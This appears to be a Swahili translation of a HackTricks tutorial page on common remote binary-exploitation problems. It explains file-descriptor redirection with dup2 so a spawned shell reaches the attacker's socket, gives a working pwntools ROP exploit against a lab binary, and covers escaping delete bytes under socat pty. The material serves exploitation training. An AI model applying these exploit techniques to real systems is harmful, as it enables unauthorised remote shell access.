hacktricks/binary-exploitation/common-exploiting-problems.md

2.8 KiB

Matatizo ya Kawaida ya Kudukua

Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

FDs katika Kudukua Kijijini

Unapotuma dudu kwa seva ya mbali ambayo inaita system('/bin/sh') kwa mfano, hii itatekelezwa katika mchakato wa seva kwa hakika, na /bin/sh itatarajia kuingia kutoka stdin (FD: 0) na itachapisha matokeo kwenye stdout na stderr (FDs 1 na 2). Kwa hivyo, mkaidi hataweza kuingiliana na kifaa cha amri.

Njia ya kusahihisha hii ni kudai kwamba wakati seva ilipoanza iliumba FD nambari 3 (kwa kusikiliza) na kwamba basi, uunganisho wako utakuwa katika FD nambari 4. Kwa hivyo, ni rahisi kutumia syscall dup2 kuzidisha stdin (FD 0) na stdout (FD 1) katika FD 4 (ile ya uunganisho wa mkaidi) hivyo itawezekana kuwasiliana na kifaa cha amri mara tu itakapotekelezwa.

Mfano wa kudukua kutoka hapa:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Tafadhali kumbuka kuwa socat tayari inahamisha stdin na stdout kwa soketi. Walakini, mode ya pty inajumuisha wahariri wa DELETE. Kwa hivyo, ikiwa unatuma \x7f (DELETE -) ita futa herufi iliyotangulia ya shambulio lako.

Ili kuepuka hili, herufi ya kutoroka \x16 lazima iwekwe mbele ya yoyote \x7f iliyotumwa.

Hapa unaweza kupata mfano wa tabia hii.